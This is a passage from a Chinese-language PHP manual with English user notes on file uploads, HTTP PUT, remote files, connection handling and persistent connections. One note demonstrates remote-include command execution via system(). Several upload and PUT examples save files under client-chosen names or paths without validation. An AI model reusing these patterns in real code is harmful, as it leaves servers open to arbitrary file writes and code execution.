For apache, also check the LimitRequestBody directive.
If you're running a Red Hat install, this might be set in /etc/httpd/conf.d/php.conf.
By default, mine was set to 512 KB.
sebastian at drozdz dot ch
28-Apr-2003 06:59
It's important that the variable 'open_basedir' in php.ini isn't  set to a directory that doesn't not includes tempupload directory
admin at creationfarm dot com
05-Feb-2003 12:16
The macintosh OS (not sure about OSx) uses a dual forked file system, unlike the rest of the world ;-). Every macintosh file has a data fork and a resource fork. When a dual forked file hits a single forked file system, something has to go, and it is the resource fork. This was recognized as a problem (bad idea to begin with) and apple started recomending that developers avoid sticking vital file info in the resource fork portion of a file, but some files are still very sensitive to this. The main ones to watch out for are macintosh font files and executables, once the resource fork is gone from a mac font or an executable it is useless. To protect the files they should be stuffed or zipped prior to upload to protect the resource fork.

Most mac ftp clients (like fetch) allow files to be uploaded in Macbinhex, which will also protect the resource fork when transfering files via ftp. I have not seen this equivilent in any mac browser (but I haven't done too much digging either).

FYI, apple does have an old utility called ResEdit that lets you manipulate the resource fork portion of a file.
add a note add a note

后退 | 起点 | 前进
错误信息说明 | 上一级 | 上传多个文件


上传多个文件

可以对 input 域使用不同的 name 来上传多个文件。

PHP 支持同时上传多个文件并将它们的信息自动以数组的形式组织。要完成这项功能，需要在 HTML 表单中对文件上传域使用和多选框与复选框相同的数组式提交语法。

注: 对多文件上传的支持是在 PHP 3.0.10 版本添加的。

例子 38-4. 上传多个文件

<form action="file-upload.php" method="post" enctype="multipart/form-data">
  Send these files:<br />
  <input name="userfile[]" type="file" /><br />
  <input name="userfile[]" type="file" /><br />
  <input type="submit" value="Send files" />
</form>

当以上表单被提交后，数组 $_FILES['userfile']，$_FILES['userfile']['name'] 和 $_FILES['userfile']['size'] 将被初始化（在 PHP 4.1.0 以前版本是 $HTTP_POST_FILES）。如果 register_globals 的设置为 on，则和文件上传相关的全局变量也将被初始化。所有这些提交的信息都将被储存到以数字为索引的数组中。

例如，假设名为 /home/test/review.html 和 /home/test/xwp.out 的文件被提交，则 $_FILES['userfile']['name'][0] 的值将是 review.html，而 $_FILES['userfile']['name'][1] 的值将是 xwp.out。类似的，$_FILES['userfile']['size'][0] 将包含文件 review.html 的大小，依此类推。

此外也同时设置了 $_FILES['userfile']['name'][0]，$_FILES['userfile']['tmp_name'][0]，$_FILES['userfile']['size'][0] 以及 $_FILES['userfile']['type'][0]。

add a note add a note User Contributed Notes
Bob Doe
09-Aug-2005 05:17
Here is a the simple test form I needed, pieced togther from 2 or 3 posts in the documentation elsewhere.

<html>
<head>
<title>HTML Form for uploading image to server</title>
</head>
<body>
<form action="" method="post" enctype="multipart/form-data">
<p>Pictures:
<input type="file" name="pictures[]" />
<input type="file" name="pictures[]" />
<input type="file" name="pictures[]" />
<input type="submit" value="Send" />
</p>
</form>
<?php
//places files into same dir as form resides
foreach ($_FILES["pictures"]["error"] as $key => $error) {
   if ($error == UPLOAD_ERR_OK) {
       echo"$error_codes[$error]";
       move_uploaded_file(
         $_FILES["pictures"]["tmp_name"][$key],
         $_FILES["pictures"]["name"][$key]
       ) or die("Problems with upload");
   }
}
?>
</body>
</html>
29-Jul-2005 10:50
re: phpuser's comment

I found that if instead of the form structure at the top of the page use one like this:

<form action="file-upload.php" method="post" enctype="multipart/form-data">
  Send these files:<br />
  <input name="userfile1" type="file" /><br />
  <input name="userfile2" type="file" /><br />
  <input type="submit" value="Send files" />
</form>

Notice the names are unique and not an array element.  Now the array is structured more like phpuser would like. I did this and used...

foreach ($_FILES as $file) { ... }

without issue.
sgoodman_at_nojunk_immunetolerance.org
17-Jun-2005 10:03
Re: phpuser_at_gmail's comment, a simpler way to have create that data structure is to name your HTML file inputs different names. If you want to upload multiple files, use:
<input type=file name=file1>
<input type=file name=file2>
<input type=file name=file3>
etc...
Each field name will be a key in the $_FILES array.
bishop
03-Jun-2005 02:27
Elaboration on phpuser at gmail dot com reArrayFiles() function (which assumed sequential, integer keys and uni-dimensional), this function will work regardless of key and key depth:

<?php
// information grouper
function groupFileInfoByVariable(&$top, $info, $attr) {
   if (is_array($info)) {
       foreach ($info as $var => $val) {
           if (is_array($val)) {
               groupFileInfoByVariable($top[$var], $val, $attr);
           } else {
               $top[$var][$attr] = $val;
           }
       }
   } else {
       $top[$attr] = $info;
   }

   return true;
}

// usage
$newOrdering = array ();
foreach ($_FILES as $var => $info) {
   foreach (array_keys($info) as $attr) {
       groupFileInfoByVariable($newOrdering, $info[$attr], $attr);
   }
}

// $newOrdering holds the updated order
?>
phpuser at gmail dot com
26-May-2005 11:09
When uploading multiple files, the $_FILES variable is created in the form:

Array
(
   [name] => Array
       (
           [0] => foo.txt
           [1] => bar.txt
       )

   [type] => Array
       (
           [0] => text/plain
           [1] => text/plain
       )

   [tmp_name] => Array
       (
           [0] => /tmp/phpYzdqkD
           [1] => /tmp/phpeEwEWG
       )

   [error] => Array
       (
           [0] => 0
           [1] => 0
       )

   [size] => Array
       (
           [0] => 123
           [1] => 456
       )
)

I found it made for a little cleaner code if I had the uploaded files array in the form

Array
(
   [0] => Array
       (
           [name] => foo.txt
           [type] => text/plain
           [tmp_name] => /tmp/phpYzdqkD
           [error] => 0
           [size] => 123
       )

   [1] => Array
       (
           [name] => bar.txt
           [type] => text/plain
           [tmp_name] => /tmp/phpeEwEWG
           [error] => 0
           [size] => 456
       )
)

I wrote a quick function that would convert the $_FILES array to the cleaner (IMHO) array.

<?php

function reArrayFiles(&$file_post) {

   $file_ary = array();
   $file_count = count($file_post['name']);
   $file_keys = array_keys($file_post);

   for ($i=0; $i<$file_count; $i++) {
       foreach ($file_keys as $key) {
           $file_ary[$i][$key] = $file_post[$key][$i];
       }
   }

   return $file_ary;
}

?>

Now I can do the following:

<?php

if ($_FILES['upload']) {
   $file_ary = reArrayFiles($_FILES['ufile']);

   foreach ($file_ary as $file) {
       print 'File Name: ' . $file['name'];
       print 'File Type: ' . $file['type'];
       print 'File Size: ' . $file['size'];
   }
}

?>
add a note add a note

后退 | 起点 | 前进
常见缺陷 | 上一级 | 对 PUT 方法的支持


对 PUT 方法的支持

PHP 3 和 PHP 4 对 PUT 方法的支持有所不同。在 PHP 4 中，必须使用标准的输入流来读取一个 HTTP PUT 的内容。

例子 38-5. 用 PHP 4 来保存 HTTP PUT 文件

<?php
/* PUT data comes in on the stdin stream */
$putdata = fopen("php://stdin", "r");

/* Open a file for writing */
$fp = fopen("myputfile.ext", "w");

/* Read the data 1 KB at a time
   and write to the file */
while ($data = fread($putdata, 1024))
  fwrite($fp, $data);

/* Close the streams */
fclose($fp);
fclose($putdata);
?>

注: 以下文档的内容仅对 PHP 3 适用。

PHP 提供对诸如 Netscape Composer 和 W3C Amaya 等客户端使用的 HTTP PUT 方法的支持。PUT 请求比文件上传要简单的多，它们一般的形式为：

PUT /path/filename.html HTTP/1.1

这通常意味着远程客户端会将其中的 /path/filename.html 存储到 web 目录树。让 Apache 或者 PHP 自动允许所有人覆盖 web 目录树下的任何文件显然是很不明智的。因此，要处理类似的请求，必须先告诉 web 服务器需要用特定的 PHP 脚本来处理该请求。在 Apache 下，可以用 Script 选项来设置。它可以被放置到 Apache 配置文件中几乎所有的位置。通常我们把它放置在 <Directory> 区域或者 <Virtualhost> 区域。可以用如下一行来完成该设置：

Script PUT /put.php

这将告诉 Apache 将所有对 URI 的 PUT 请求全部发送到 put.php 脚本，这些 URI 必须和 PUT 命令中的内容相匹配。当然，这是建立在 PHP 支持 .php 扩展名，并且 PHP 已经在运行的假设之上。

在 put.php 文件中，可以作如下操作：

<?php copy($PHP_UPLOADED_FILE_NAME, $DOCUMENT_ROOT . $REQUEST_URI); ?>

这将会把文件拷贝到远程客户端请求的位置。可能希望在文件拷贝之前进行一些检查或者对用户认证之类的操作。这里唯一的问题是，当 PHP 接受到 PUT 方法的请求时，它将会把上传的文件储存到和其它用 POST 方法处理过的文件相同的临时目录。在请求结束时，临时文件将被删除。因此，用来处理 PUT 的 PHP 脚本必须将该文件拷贝到其它的地方。该临时文件的文件名被储存在变量 $PHP_PUT_FILENAME 中，也可以通过 $REQUEST_URI 变量获得建议的目标文件名（在非 Apache web 服务器上可能会有较大的变化）。该目标文件名是由远程客户端指定的。也可以不听从改客户端的信息，而把所有上传的文件存储到一个特殊的上传目录下。

add a note add a note User Contributed Notes
yaogzhan at gmail dot com
14-Dec-2005 08:01
PUT raw data comes in php://input, and you have to use fopen() and fread() to get the content. file_get_contents() is useless.

The HTTP PUT request MUST contain a Content-Length header to specify the length (in bytes) of the body, or the server will not be able to know when the input stream is over. This is the common problem for many to find the php://input empty if no such header available.

This should make PUT work properly on win32 using PHP5.1.1 and apache2.
warhog at warhog dot net
21-Sep-2005 05:11
Here's my solution on my Note below

The .htacces-File

Options FollowSymLinks

RewriteEngine on
RewriteBase !!!The Path of your PUT-Upload-Folder, relative to the DocumentRoot!!!
RewriteRule ^index\.php$ - [L]
RewriteRule ^(.*)$ index.php?url=$1 [L]

index.php:
<?php

if ($_SERVER['REQUEST_METHOD'] == "PUT")
{ $f = fopen(basename($_SERVER['REQUEST_URI']), "w");
  $s = fopen("php://input", "r");
  while($kb = fread($s, 1024))
  { fwrite($f, $kb, 1024); }
  fclose($f);
  fclose($s);
  Header("HTTP/1.1 201 Created"); }
elseif ($_SERVER['REQUEST_METHOD'] == "GET")
{ readfile(basename($_SERVER['REQUEST_URI'])); }

?>

Testes with Apache 2 and PHP 5, php as a module (win32)
warhog at warhog dot net
21-Sep-2005 04:22
NOTE: The <Script>-Directive can not be placed in .htaccess files.

So if you're having shared webspace and no access to the apache-configuration file you will have little chance to make something like this work.

But you can solve the problem, using mod_rewrite (for Apache) - for further information see the documentation at http://httpd.apache.org/docs/2.0/mod/mod_rewrite.html
gherson
15-Aug-2005 05:16
A Case Study:  To set up publishing with Netscape 7.2 Composer to Apache/PHP, no need to use CGI (which I tried unsuccessfully for too long) or to alter Apache's httpd.conf.  I needed only to click Publish As, fill in put2disk.php as the filename (where its contents are the below), and fill in that file's dir as the "Publishing address".
XAMPP 1.4.14: Apache/2.0.54 (Win32) mod_ssl/2.0.54 OpenSSL/0.9.7g PHP/5.0.4.

<? // filename: put2disk.php.

//file_put_contents ("get_def.out", print_r (get_defined_vars(), TRUE)); // debugging

// Two slurp methods: (a) didn't work, (b) did.
//$stdin_rsc = fopen("php://input", "r");
//$putdata='';
//while ($putdata .= fread($stdin_rsc, 1024)); // a. Hangs the "Publishing..." dialog.
//while (!feof($stdin_rsc)) $putdata.=fread($stdin_rsc, 8192); // b. Worked, but file_get_contents is faster.
//fclose($stdin_rsc);

// All that's nec:
$putdata=file_get_contents('php://input'); // Not php://stdin! (When the ability to see error messages isn't available, the doc (this manual page) needs to be more accurate.)

file_put_contents("stdin.out",$putdata);
?>
gomez_NOSPAM_pixline_dot_net
19-Apr-2004 03:59
Trying to capture a PUT stream into a single variable seems not to be allowed, probably because of the non presence of some kind of EOF. In this way save a PUT request into a database isn't easy.

The only way I find would be output to a cache file, then either insert filename into db or read again its content and place it in some kind of query.
mikeb at mikebanahan dot com
04-Nov-2003 06:41
I have spent a lot of time trying to make PUT work with Apache 2.0.40. I have not yet been able to find any way of making the Script directive invoke php via mod_php, the only way has been to have a file called example.cgi and invoke it via CGI, with the file starting
#!/usr/bin/php
so the PHP interpreter is invoked through the CGI mechanism and not as a module.

If there IS a way of making it work 'right' I'd love to know! After six hours of messing around, I've settled for CGI. The error messages in the apache error log are significantly misleading and the whole thing has been an exercise in frustration.

Attempts to use AddHandler and all 'normal' ways of trying to persuade Apache to do this have been fruitless. It does seem as if PUT can only be handled by CGI invocation.
php at dreier dot nu
14-Feb-2003 02:21
I can only make it work when I am using PHP as CGI, not as an Apache module.
I am using the version of PHP/Apahce that is shipped with Debian/testing.

You have to load the action_module, but not the put_module in Apache config.
add a note add a note

后退 | 起点 | 前进
上传多个文件 | 上一级 | 使用远程文件


使用远程文件

PHP 手册
后退 前进

章 39. 使用远程文件

只要在 php.ini 文件中激活了 allow_url_fopen 选项，就可以在大多数需要用文件名作为参数的函数中使用 HTTP 和 FTP 的 URL 来代替文件名。同时，也可以在 include()、include_once()、require() 及 require_once() 语句中使用 URL。PHP 所支持协议的更多信息参见附录 L。

注: 要在 PHP 4.0.3 及其更早的版本中使用 URL 封装协议，需要在编译时用 --enable-url-fopen-wrapper 参数来配置 PHP。

注: Windows 版本的 PHP 4.3 版之前不支持以下函数的远程访问：include()，include_once()，require()，require_once() 以及参考 LV, Image 图像函数中的 imagecreatefromXXX 函数。

例如，可以用以下范例来打开远程 web 服务器上的文件，解析需要的输出数据，然后将这些数据用在数据库的检索中，或者简单地以和自己网站其它页面相同的风格输出其内容。

例子 39-1. 获取远程文件的标题

<?php
$file = fopen ("http://www.example.com/", "r");
if (!$file) {
    echo "<p>Unable to open remote file.\n";
    exit;
}
while (!feof ($file)) {
    $line = fgets ($file, 1024);
    /* This only works if the title and its tags are on one line */
    if (eregi ("<title>(.*)</title>", $line, $out)) {
        $title = $out[1];
        break;
    }
}
fclose($file);
?>

如果有合法的访问权限，以一个用户的身份和某 FTP 服务器建立了链接，还可以向该 FTP 服务器端的文件进行写操作。仅能用该方法来创建新的文件；如果尝试覆盖已经存在的文件，fopen() 函数的调用将会失败。

要以“anonymous”以外的用户名连接服务器，需要指明用户名（可能还有密码），例如“ftp://user:password@ftp.example.com/path/to/file”（也可以在通过需要 Basic 认证的 HTTP 协议访问远程文件时使用相同的语法）。

例子 39-2. 将数据保存到远程服务器

<?php
$file = fopen ("ftp://ftp.example.com/incoming/outputfile", "w");
if (!$file) {
    echo "<p>Unable to open remote file for writing.\n";
    exit;
}
/* Write the data here. */
fwrite ($file, $_SERVER['HTTP_USER_AGENT'] . "\n");
fclose ($file);
?>

注: 或许可以从以上范例中得到启发，用该技术来存储远程日志文件。但是正如以上提到的，在用 fopen() 方式打开的 URL 中，仅能对新文件进行写操作。如果远程文件已经存在则 fopen() 函数的操作将会失败。要做类似于分布式日志的事，可以参考 syslog() 函数。

add a note add a note User Contributed Notes
geoffrey at nevra dot net
07-May-2006 06:53
Really, you should not send headers terminated by \n - it's not per-rfc supported by a HTTP server.

Instead, send as \r\n which is what the protocol specifies, and that regular expression would be matched anywhere, so match for something like /^Content-Length: \d+$/i on each header-line (headers are terminated by the regular expression  /(\r\n|[\r\n])/ - so preg_split on that. Remeber to use the appropriate flags, I can't be arsed to look them up)
heck at fas dot harvard dot edu
14-Sep-2004 03:06
The previous post is part right, part wrong. It's part right because it's true that the php script will run on the remote server, if it's capable of interpreting php scripts. You can see this by creating this script on a remote machine:
<?php
echo system("hostname");
?>
Then include that in a php file on your local machine. When you view it in a browser, you'll see the hostname of the remote machine.

However, that does not mean there are no security worries here. Just try replacing the previous script with this one:
<?php
echo "<?php system(\"hostname\"); ?>";
?>
I'm guessing you can figure out what that's gonna do.

So yes, remote includes can be a major security problem.
geoffrey at nevra dot net
05-Aug-2003 08:25
ok, here is the story:

I was trying to download remote images, finding urls throught apache indexs with regexps and fopen()ing them to get the datas. It didn't work. I thought about binary considerations. Putting the 'b' in the second argument of fopen didn't help much, my browser still didn't want to display the images. I finally understood by watching the datas i was getting from the remote host: it was an html page ! hey, i didn't know apache sent html pages when requesting images, did you ?
the right way is then to send an http request via fsockopen. Here comes my second problem, using explode("\n\n", $buffer); to get rid of the headers. The right way is to get the value of the Content-Lenght field and use it in substr($buffer, -$Content-Lenght);

finally, here is my own function to download these files:

<?php
function http_get($url)
{

   $url_stuff = parse_url($url);
   $port = isset($url_stuff['port']) ? $url_stuff['port'] : 80;

   $fp = fsockopen($url_stuff['host'], $port);

   $query  = 'GET ' . $url_stuff['path'] . " HTTP/1.0\n";
   $query .= 'Host: ' . $url_stuff['host'];
   $query .= "\n\n";

   fwrite($fp, $query);

   while ($tmp = fread($fp, 1024))
   {
       $buffer .= $tmp;
   }

   preg_match('/Content-Length: ([0-9]+)/', $buffer, $parts);
   return substr($buffer, - $parts[1]);
?>

}

ho, maybe you'll say i could have parsed the page to get rid of the html stuff, but i wanted to experience http a little ;)
add a note add a note

后退 | 起点 | 前进
对 PUT 方法的支持 | 上一级 | 连接处理


连接处理

PHP 手册
后退 前进

章 40. 连接处理

注: 以下内容对 PHP 3.0.7 及更高版本适用。

在 PHP 内部，系统维护着连接状态，其状态有三种可能的情况：

  • 0 - NORMAL（正常）

  • 1 - ABORTED（异常退出）

  • 2 - TIMEOUT（超时）

当 PHP 脚本正常地运行 NORMAL 状态时，连接为有效。当远程客户端中断连接时，ABORTED 状态的标记将会被打开。远程客户端连接的中断通常是由用户点击 STOP 按钮导致的。当连接时间超过 PHP 的时限（请参阅 set_time_limit() 函数）时，TIMEOUT 状态的标记将被打开。

可以决定脚本是否需要在客户端中断连接时退出。有时候让脚本完整地运行会带来很多方便，即使没有远程浏览器接受脚本的输出。默认的情况是当远程客户端连接中断时脚本将会退出。该处理过程可由 php.ini 的 ignore_user_abort 或由 Apache .conf 设置中对应的“php_value ignore_user_abort”以及 ignore_user_abort() 函数来控制。如果没有告诉 PHP 忽略用户的中断，脚本将会被中断，除非通过 register_shutdown_function() 设置了关闭触发函数。通过该关闭触发函数，当远程用户点击 STOP 按钮后，脚本再次尝试输出数据时，PHP 将会检测到连接已被中断，并调用关闭触发函数。

脚本也有可能被内置的脚本计时器中断。默认的超时限制为 30 秒。这个值可以通过设置 php.ini 的 max_execution_time 或 Apache .conf 设置中对应的“php_value max_execution_time”参数或者 set_time_limit() 函数来更改。当计数器超时的时候，脚本将会类似于以上连接中断的情况退出，先前被注册过的关闭触发函数也将在这时被执行。在该关闭触发函数中，可以通过调用 connection_status() 函数来检查超时是否导致关闭触发函数被调用。如果超时导致了关闭触发函数的调用，该函数将返回 2。

需要注意的一点是 ABORTED 和 TIMEOUT 状态可以同时有效。这在告诉 PHP 忽略用户的退出操作时是可能的。PHP 将仍然注意用户已经中断了连接但脚本仍然在运行的情况。如果到了运行的时间限制，脚本将被退出，设置过的关闭触发函数也将被执行。在这时会发现函数 connection_status() 返回 3。

add a note add a note User Contributed Notes
bg at ms dot com
22-Sep-2005 09:42
Confirmed.  User presses STOP button.  This sends a RST packet and closes the connection.  PHP is most certainly immediately affected (i.e., the script is stopped, whether or not any output is pending for the user, or even if script is just grinding away on a database without having output anything).

ignore_user_abort() exists to prevent this.

If user STOPS, script ignores the RST and runs to completion (the output is apparently ignored by apache and not sent to the user, who sent the RST and closed the TCP connection).  If user's connection just vanishes (isp problem, disconnect, whatever), and there is no RST sent by user, then eventually the script will timeout.
hrgan at melibado dot com
13-Dec-2004 03:08
As it was said, connection handling is very useful when web application need to do something in background. I found it very useful when application need something from database, wrap that data with template, create some html files and save it to filesystem. And all that on server with heavy load. Without connection handling - function ignore_user_abort() - this process can be interrupted by user and final step will never be done.
Lee
18-Sep-2004 06:16
The point mentioned in the last comment isn't always the case.

If a user's connection is lost half way through an order processing script is confirming a user's credit card/adding them to a DB, etc (due to their ISP going down, network trouble... whatever) and your script tries to send back output (such as, "pre-processing order" or any other type of confirmation), then your script will abort -- and this could cause problems for your process.

I have an order script that adds data to a InnoDB database (through MySQL) and only commits the transactions upon successful completion. Without ignore_user_abort(), I have had times when a user's connection dropped during the processing phase... and their card was charged, but they weren't added to my local DB.

So, it's always safe to ignore any aborts if you are processing sensitive transactions that should go ahead, whether your user is "watching" on the other end or not.
ej at campbell *dot* name
12-Feb-2004 09:01
I don't think the first example given below will occur in the real world.

As long as your order handling script does not output anything, there's no way that it will be aborted before it completes processing (unless it timeouts). PHP only senses user aborts when a script sends output. If there's no output sent to the client before processing completes, which is presumably the case for an order handling script, the script will run to completion.

So, the only time a script can be terminated due to the user hitting stop is when it sends output. If you don't send any output until processing completes, you don't have to worry about user aborts.
pulstar at mail dot com
07-Aug-2003 02:32
These functions are very useful for example if you need to control when a visitor in your website place an order and you need to check if he/she didn't clicked the submit button twice or cancelled the submit just after have clicked the submit button.
If your visitor click the stop button just after have submitted it, your script may stop in the middle of the process of registering the products and do not finish the list, generating inconsistency in your database.
With the ignore_user_abort() function you can make your script finish everything fine and after you can check with register_shutdown_function() and connection_aborted() if the visitor cancelled the submission or lost his/her connection. If he/she did, you can set the order as not confirmed and when the visitor came back, you can present the old order again.
To prevent a double click of the submit button, you can disable it with javascript or in your script you can set a flag for that order, which will be recorded into the database. Before accept a new submission, the script will check if the same order was not placed before and reject it. This will work fine, as the script have finished the job before.
Note that if you use ob_start("callback_function") in the begin of your script, you can specify a callback function that will act like the shutdown function when our script ends and also will let you to work on the generated page before send it to the visitor.
add a note add a note

后退 | 起点 | 前进
使用远程文件 | 上一级 | 数据库永久连接


数据库永久连接

PHP 手册
后退 前进

章 41. 数据库永久连接

永久的数据库连接是指在脚本结束运行时不关闭的连接。当收到一个永久连接的请求时。PHP 将检查是否已经存在一个（前面已经开启的）相同的永久连接。如果存在，将直接使用这个连接；如果不存在，则建立一个新的连接。所谓“相同”的连接是指用相同的用户名和密码到相同主机的连接。

对 web 服务器的工作和分布负载没有完全理解的读者可能会错误地理解永久连接的作用。特别的，永久连接不会在相同的连接上提供建立“用户会话”的能力，也不提供有效建立事务的能力。实际上，从严格意义上来讲，永久连接不会提供任何非永久连接无法提供的特殊功能。

为什么？

这和 web 服务器工作的方式有关。web 服务器可以用三种方法来利用 PHP 生成 web 页面。

第一种方法是将 PHP 用作一个“外壳”。以这种方法运行，PHP 会为向 web 服务器提出的每个 PHP 页面请求生成并结束一个 PHP 解释器线程。由于该线程会随每个请求的结束而结束，因此任何在这个线程中利用的任何资源（例如指向 SQL 数据库服务器的连接）都会随线程的结束而关闭。在这种情况下，使用永久连接不会获得任何地改变――因为它们根本不是永久的。

第二，也是最常用的方法，是把 PHP 用作多进程 web 服务器的一个模块，这种方法目前只适用于 Apache。对于一个多进程的服务器，其典型特征是有一个父进程和一组子进程协调运行，其中实际生成 web 页面的是子进程。每当客户端向父进程提出请求时，该请求会被传递给还没有被其它的客户端请求占用的子进程。这也就是说当相同的客户端第二次向服务端提出请求时，它将有可能被一个不同的子进程来处理。在开启了一个永久连接后，所有请求 SQL 服务的后继页面都能够重新使用这个已经建立的 SQL Server 连接。

最后一种方法是将 PHP 用作多线程 web 服务器的一个插件。目前 PHP 4 已经支持 ISAPI、WSAPI 和 NSAPI（在 Windows 环境下），这些使得 PHP 可以被用作诸如 Netscape FastTrack (iPlanet)、Microsoft's Internet Information Server (IIS) 和 O'Reilly's WebSite Pro 等多线程 web 服务器的插件。永久连接的行为和前面所描述的多过程模型在本质上是相同的。注意 PHP 3 不支持 SAPI。

如果永久连接并没有任何附加的功能，那么使用它有什么好处？

答案非常简单――效率。当客户端对 SQL 服务器的连接请求非常频繁时，永久连接将更加高效。连接请求频繁的标准取决于很多因素。例如，数据库的种类，数据库服务和 web 服务是否在同一台服务器上，SQL 服务器如何加载负载等。但我们至少知道，当连接请求很频繁时，永久连接将显著的提高效率。它使得每个子进程在其生命周期中只做一次连接操作，而非每次在处理一个页面时都要向 SQL 服务器提出连接请求。这也就是说，每个子进程将对服务器建立各自独立的永久连接。例如，如果有 20 个不同的子进程运行某脚本建立了永久的 SQL 服务器永久连接，那么实际上向该 SQL 服务器建立了 20 个不同的永久连接，每个进程占有一个。

注意，如果永久连接的子进程数目超过了设定的数据库连接数限制，系统将会产生一些缺陷。如果数据库的同时连接数限制为 16，而在繁忙会话的情况下，有 17 个线程试图连接，那么有一个线程将无法连接。如果这个时候，在脚本中出现了使得连接无法关闭的错误（例如无限循环），则该数据库的 16 个连接将迅速地受到影响。请查阅使用的数据库的文档，以获取关于如何处理已放弃的及闲置的连接的方法。

警告

在使用永久连接时还有一些特别的问题需要注意。例如在永久连接中使用数据表锁时，如果脚本不管什么原因无法释放该数据表锁，其随后使用相同连接的脚本将会被永久的阻塞，使得需要重新启动 httpd 服务或者数据库服务。另外，在使用事务处理时，如果脚本在事务阻塞产生前结束，则该阻塞也会影响到使用相同连接的下一个脚本。不管在什么情况下，都可以通过使用 register_shutdown_function() 函数来注册一个简单的清理函数来打开数据表锁，或者回滚事务。或者更好的处理方法，是不在使用数据表锁或者事务处理的脚本中使用永久连接，这可以从根本上解决这个问题（当然还可以在其它地方使用永久连接）。

以下是一点重要的总结。永久连接是为通常连接建立一对一的分布而设计的。这意味着必须能够保证在将永久连接替换为非永久连接时，脚本的行为不会改变。使用永久连接将（非常）有可能改变脚本的效率，但不改变其行为！

参见 fbsql_pconnect()，ibase_pconnect()，ifx_pconnect()，ingres_pconnect()，msql_pconnect()，mssql_pconnect()，mysql_pconnect()，ociplogon()，odbc_pconnect()，ora_plogon()，pfsockopen()，pg_pconnect() 和 sybase_pconnect()。

add a note add a note User Contributed Notes
RQuadling at GMail dot com
06-Mar-2006 07:43
If you have multiple databases on the same server AND you are using persistent connections, you MUST prefix all the table names with the specific database name.

Changing the database using the xxx_select_db functions alters the database for the connection for all users who are sharing that connection (assuming PHP is running shared and not CGI/CLI).

If you have 2 databases (live and archive) and your script is talking to both, you cannot use 2 persistent connections and change the database for each one.

Internally, persistent connections are used even if you do not specify that you want to use persistent connections. This is why new_link was added to mysql_connect/mssql_connect (PHPV4.2.0+).
fabio
12-Jan-2006 07:54
You can in fact provide a port for the connection, take a look at http://de2.php.net/manual/en/function.mysql-pconnect.php#AEN101879

Just use "hostname:port" for the server address.
aaryal at foresightint dot com
16-Jan-2004 07:21
this one bit quite a bit of chunk out of my you-know-what. seems like if you're running multiple database servers on the same host (for eg. MySQL on a number of ports) you can't use pconnect since the port number isn't part of the key for database connections. especially if you have the same username and password to connect to all the database servers running on different ports. but then it might be php-MySQL specific. you might get a connection for an entirely different port than the one you asked for.
web at nickSPAMrabinowitz dot com
03-Dec-2003 06:41
This may only pertain to Apache/MySQL:

After several hours of wrestling with MySQL "Access denied" messages, I determined that persistent database connections don't necessarily reflect subsequent privilege changes.

I loaded a PHP script attempting a LOAD DATA statement, and got an "Access denied" error. I granted FILE privileges to the MySQL user, and was able to run LOAD DATA statements from the terminal, but still got "Access denied" from my PHP pages.  When I switched from mysql_pconnect() to mysql_connect(), the problem went away; eventually I restarted apache to kill the persistent connection and switched back to mysql_pconnect(), and now everything works fine.
jean_christian at myrealbox dot com
15-Aug-2002 06:13
If anyone ever wonders why the number of idle db process (open connections) seems to grow even though you are using persistent connections, here's why:

"You are probably using a multi-process web server such as Apache. Since
database connections cannot be shared among different processes a new
one is created if the request happen to come to a different web server
child process."
sebastian at flothow dot de
18-Apr-2000 10:28
Yes, with nonpersistent connections database connections last only while a database-related request is processed, thus reducing the load on the database server.
However, latency will be somewhat higher since a database connection must be opened before a request can be handeled.
add a note add a note

后退 | 起点 | 前进
连接处理 | 上一级 | 安全模式


安全模式

PHP 手册
后退 前进

章 42. 安全模式

目录
保安措施和安全模式
被安全模式限制或屏蔽的函数

PHP 的安全模式是为了试图解决共享服务器（shared-server）安全问题而设立的。在结构上，试图在 PHP 层上解决这个问题是不合理的，但修改 web 服务器层和操作系统层显得非常不现实。因此许多人，特别是 ISP，目前使用安全模式。

保安措施和安全模式

表格 42-1. 保安措施和安全模式配置指令

名称 | 默认值 | 可修改范围 | 更新记录
safe_mode | "0" | PHP_INI_SYSTEM |
safe_mode_gid | "0" | PHP_INI_SYSTEM | 自 PHP 4.1.0 起可用
safe_mode_include_dir | NULL | PHP_INI_SYSTEM | 自 PHP 4.1.0 起可用
safe_mode_exec_dir | "" | PHP_INI_SYSTEM |
safe_mode_allowed_env_vars | "PHP_" | PHP_INI_SYSTEM |
safe_mode_protected_env_vars | "LD_LIBRARY_PATH" | PHP_INI_SYSTEM |
open_basedir | NULL | PHP_INI_SYSTEM |
disable_functions | "" | 仅 php.ini | 自 PHP 4.0.1 起可用
disable_classes | "" | 仅 php.ini | 自 PHP 4.3.2 起可用
PHP_INI_* 常量的进一步详细说明与定义见 ini_set()。

以下是配置选项的简要解释。

safe_mode boolean

是否启用 PHP 的安全模式。更多信息请阅读安全一章。

safe_mode_gid boolean

默认情况下，安全模式在打开文件时会做 UID 比较检查。如果想将其放宽到 GID 比较，则打开 safe_mode_gid。是否在文件访问时使用 UID（FALSE）或者 GID（TRUE）来做检查。

safe_mode_include_dir string

当从此目录及其子目录（目录必须在 include_path 中或者用完整路径来包含）包含文件时越过 UID/GID 检查。

从 PHP 4.2.0 开始，本指令可以接受和 include_path 指令类似的风格用冒号（Windows 中是分号）隔开的路径，而不只是一个目录。

指定的限制实际上是一个前缀，而非一个目录名。这也就是说“safe_mode_include_dir = /dir/incl”将允许访问“/dir/include”和“/dir/incls”，如果它们存在的话。如果希望将访问控制在一个指定的目录，那么请在结尾加上一个斜线，例如：“safe_mode_include_dir = /dir/incl/”。

如果本指令的值为空，在 PHP 4.2.3 中以及 PHP 4.3.3 起具有不同 UID/GID 的文件将不能被包含。在较早版本中，所有文件都能被包含。

safe_mode_exec_dir string

如果 PHP 使用了安全模式，system() 和其它程序执行函数将拒绝启动不在此目录中的程序。必须使用 / 作为目录分隔符，包括 Windows 中。

safe_mode_allowed_env_vars string

设置某些环境变量可能是潜在的安全缺口。本指令包含有一个逗号分隔的前缀列表。在安全模式下，用户只能改变那些名字具有在这里提供的前缀的环境变量。默认情况下，用户只能设置以 PHP_ 开头的环境变量（例如 PHP_FOO = BAR）。

注: 如果本指令为空，PHP 将使用户可以修改任何环境变量！

safe_mode_protected_env_vars string

本指令包含有一个逗号分隔的环境变量的列表，最终用户不能用 putenv() 来改变这些环境变量。甚至在 safe_mode_allowed_env_vars 中设置了允许修改时也不能改变这些变量。

open_basedir string

将 PHP 所能打开的文件限制在指定的目录树，包括文件本身。本指令不受安全模式打开或者关闭的影响。

